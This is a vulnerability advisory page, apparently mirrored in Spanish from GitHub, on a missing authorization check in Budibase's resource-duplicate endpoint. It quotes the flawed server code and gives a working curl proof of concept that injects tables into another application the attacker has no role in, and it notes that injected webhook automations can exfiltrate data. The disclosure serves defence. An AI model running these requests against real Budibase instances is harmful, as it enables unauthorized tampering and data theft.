GHSA-XQPQ-288M-R5Q7
Cross-application resource injection via missing authorization on duplicate endpoint
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:N
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-XQPQ-288M-R5Q7 divulgada · CVSS 7.7 (GitHub) | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
The `POST /api/resources/duplicate` endpoint allows an authenticated application builder to inject tables, automations, queries, and screens from their own application into any other Budibase application — without holding any role in the destination app. The destination workspace ID is taken directly from the request body and no authorization check is performed against it.
Details
The endpoint is defined in `packages/server/src/api/routes/resource.ts`:
builderRoutes.post(
"/api/resources/duplicate",
duplicateRequestValidator,
controller.duplicateResourceToWorkspace
)The `builderRoutes` middleware validates that the caller is a builder of the *source* application (identified by the `x-budibase-app-id` request header). The controller forwards the request directly to the SDK:
// packages/server/src/api/controllers/resource.ts
export async function duplicateResourceToWorkspace(ctx) {
const { toWorkspace, resources, copyRows } = ctx.request.body
await sdk.resources.duplicateResourcesToWorkspace(resources, toWorkspace, { copyRows })
ctx.status = 204
}Inside `duplicateResourcesToWorkspace` (`packages/server/src/sdk/workspace/resources/index.ts`), the destination database is opened without any ownership or tenant validation:
async function getDestinationDb(toWorkspace: string) {
const destinationDb = db.getDB(db.getDevWorkspaceID(toWorkspace), {
skip_setup: true,
})
if (!(await destinationDb.exists())) {
throw new HTTPError("Destination workspace does not exist", 400)
}
return destinationDb
}The function then bulk-writes all selected resource documents (tables, automations, queries, screens, workspace apps, row actions) directly into the destination database with no check that:
- The caller holds builder (or any) rights on `toWorkspace`.
- `toWorkspace` belongs to the same tenant as the caller.
The only guard is that the destination workspace must already exist (HTTP 400 if not), which is trivially satisfied for any live application.
Destination workspace IDs are discoverable within the same tenant via `GET /api/applications` (a public endpoint that returns apps filtered to the current tenant context). In Budicloud multi-tenant deployments the tenant component of the workspace ID (`app_<tenantId>_<uuid>`) is present in shared invite links and publicly accessible app URLs, making cross-tenant injection feasible when the target workspace UUID is known.
PoC
Prerequisites: two applications exist in the same Budibase instance — `APP_A` (attacker has builder access) and `APP_B` (attacker has no access). The attacker's app-builder session token is used.
# 1. Create a table in App A
curl -s -b "$SESSION_COOKIE" \
-H "Content-Type: application/json" \
-H "x-budibase-app-id: $APP_A_DEV_ID" \
-X POST "http://BUDIBASE_HOST/api/tables" \
-d '{"name":"InjectedTable","schema":{"data":{"type":"string","name":"data","visible":true}},"sourceId":"bb_internal","sourceType":"internal"}'
# → 200: {"_id":"ta_XXXXXXX", "name":"InjectedTable", ...}
# 2. Confirm builder has NO access to App B (302 = unauthorized redirect)
curl -s -b "$SESSION_COOKIE" \
-H "x-budibase-app-id: $APP_B_DEV_ID" \
"http://BUDIBASE_HOST/api/tables" -w "\nHTTP %{http_code}"
# → HTTP 302
# 3. Inject the table into App B — succeeds with 204
curl -s -b "$SESSION_COOKIE" \
-H "Content-Type: application/json" \
-H "x-budibase-app-id: $APP_A_DEV_ID" \
-X POST "http://BUDIBASE_HOST/api/resources/duplicate" \
-d '{"resources":["ta_XXXXXXX"],"toWorkspace":"'"$APP_B_DEV_ID"'"}' \
-w "\nHTTP %{http_code}"
# → HTTP 204
# 4. Verify: InjectedTable now appears in App B's table list (as admin)
curl -s -b "$ADMIN_SESSION" \
-H "x-budibase-app-id: $APP_B_DEV_ID" \
"http://BUDIBASE_HOST/api/tables" | python3 -c "import json,sys; [print(t['name']) for t in json.load(sys.stdin)]"
# → InjectedTable
# → UsersThe same technique applies to automations and queries, which can embed arbitrary outgoing webhook calls (using the existing Outgoing Webhook automation step) that exfiltrate data from the victim application's tables when manually or automatically triggered.
Impact
Any authenticated Budibase user with builder access to *any* application can inject arbitrary resources (tables, automations, queries, screens) into *any other* application within the same Budibase instance without holding any rights on the destination application. By injecting an automation with an outgoing webhook step, an attacker can cause data from the victim application's tables to be exfiltrated when the automation is triggered. The attack does not require platform-administrator privileges and works against all self-hosted deployments with multiple applications as well as multi-tenant Budicloud instances.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
npm@budibase/server |
Sin parche | — | — | 3.38.1 afectada |
3.41.3Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/Budibase/budibase/security/advisories/GHSA-xqpq-288m-r5q7Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
